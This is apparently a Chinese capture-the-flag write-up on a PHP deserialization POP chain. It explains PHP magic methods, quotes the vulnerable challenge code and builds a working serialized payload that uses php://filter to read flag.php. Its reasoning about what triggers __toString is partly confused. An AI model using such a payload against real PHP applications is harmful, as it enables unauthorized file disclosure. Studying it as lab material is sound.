本題考點:php反序列化的pop鏈
首先來了解一下pop鏈是什么,它類似于多米諾骨牌一環套一環,要調用這個成員方法然后去找能調用這個方法的魔術方法,最后一環接一環,完成一個鏈子,最終形成payload。
那么來了解一下這些魔術方法
__construct()??????????? //類的構造函數,創建對象時觸發(new 對象())
__destruct()???????????? //類的析構函數,對象被銷毀時觸發(調用完后就會觸發)(反序列化調用對象時也會觸發)
__call()???????????????? //在對象上下文中調用不可訪問的方法時觸發
__callStatic()?????????? //在靜態上下文中調用不可訪問的方法時觸發
__get()????????????????? //讀取不可訪問屬性的值時,這里的不可訪問包含私有屬性或未定義
__set()????????????????? //在給不可訪問屬性賦值時觸發
__isset()??????????????? //當對不可訪問屬性調用 isset() 或 empty() 時觸發
__unset()??????????????? //在不可訪問的屬性上使用unset()時觸發
__invoke()?????????????? //當嘗試以調用函數的方式調用一個對象時觸發(當對象以class名()輸出時會觸發)
__sleep()??????????????? //執行serialize()時,先會調用這個方法
__wakeup()?????????????? //執行unserialize()時,先會調用這個方法
__toString()???????????? //當反序列化后的對象被輸出在模板中的時候(轉換成字符串的時候)自動調用(用echo輸出對象的時候會觸發)(php中echo 只能輸出字符串,而print_r()可以輸出對象,數組等)
好那么看題
?
Welcome to index.php<?php//flag?is?in?flag.php//WTF?IS?THIS?//Learn?From?https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And?Crack?It!class?Modifier?{protected??$var;public?function?append($value){include($value);}public?function?__invoke(){$this->append($this->var);}}class?Show{public?$source;public?$str;public?function?__construct($file='index.php'){$this->source?=?$file;echo?'Welcome?to?'.$this->source."<br>";}public?function?__toString(){return?$this->str->source;}public?function?__wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i",?$this->source))?{echo?"hacker";$this->source?=?"index.php";}}}class?Test{public?$p;public?function?__construct(){$this->p?=?array();}public?function?__get($key){$function?=?$this->p;return?$function();}}if(isset($_GET['pop'])){@unserialize($_GET['pop']);}else{$a=new?Show;highlight_file(__FILE__);}?
首先看有危害的地方,如:eval,assert,system,include等危險函數,本題有危害的地方是
?public?function?append($value){
????????include($value);
????}
這里定義了一個參數可以包含文件,而本題開頭也有提示,flag在flag.php里面。
那么接下來找哪里調用了這個方法
????public?function?__invoke(){
????????$this->append($this->var);
????}
可以看到invoke()這個魔術方法調用了append方法,那么如何觸發(當對象被當作函數觸發時)也就是類名加上(),
找下一環怎么才能讓對象被當作函數觸發
class?Test{
????public?$p;
????public?function?__construct(){
????????$this->p?=?array();
????}
????public?function?__get($key){
????????$function?=?$this->p;
????????return?$function();
????}
}
這里最后如果把p傳入一個append的對象Modifier,那么最后會返回Modifier(),?__construct()(這個方法創建對象或者實例化對象就觸發不用理它),那么著重看__get(),這個要調用一個不存在的成員變量來觸發,那么下一步就是去找如何才能調用不存在的成員變量
?public?function?__toString(){
????????return?$this->str->source;
????}
這里的意思是如果觸發__toString(),那么返回str里的source屬性,先不用管它為什么同為屬性,str就能調用source,這里把它當成了一個對象,那么如果給str賦一個沒有source的對象,這不就有不存在的成員變量了嘛,那么可以給str賦值為Test來觸發__get方法。這個__toString()的觸發方式是把對象當成字符串:
__toString()???????????? //當反序列化后的對象被輸出在模板中的時候(轉換成字符串的時候)自動調用(用echo輸出對象的時候會觸發)(php中echo 只能輸出字符串,而print_r()可以輸出對象,數組等)
來找一個有echo且能賦值的地方
????public?function?__construct($file='index.php'){
????????$this->source?=?$file;
????????echo?'Welcome?to?'.$this->source."<br>";
????}
這里就能賦值的同時用echo輸出,那么給source賦值一個對象就行了,其他兩個類都用了,這次就只能用它本身的類Show了,這里是__construct()方法就不用想辦法讓它觸發了,那么一個pop鏈就完成了,這里我用的是倒推法
__construct->?__toString()->__get()->__invoke()->?append($value)(觸發文件包含)
那么就把這些序列化吧,
<?phpclass Modifier {protected? $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Show{public $source;public $str;}class Test{public $p;public function __get($key){$function = $this->p;return $function();}}$a = new Modifier();$b = new Show();$c = new Test();$b->str=$c;$b->source=$b;$c->p=$a;echo serialize($b);?>
這里用php://filter的原因是,只用flag.php是讀取不到的。
對了,protected方法有特殊字符占位所以要在變量前輸入%00*%00,簡單點的方法就是在echo后面加一個urlencode()
最后輸出$b也就是show對象的原因是它底下的兩個變量都成了另外兩個類了,直接輸它省事。
Payload:O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}
最后得出flag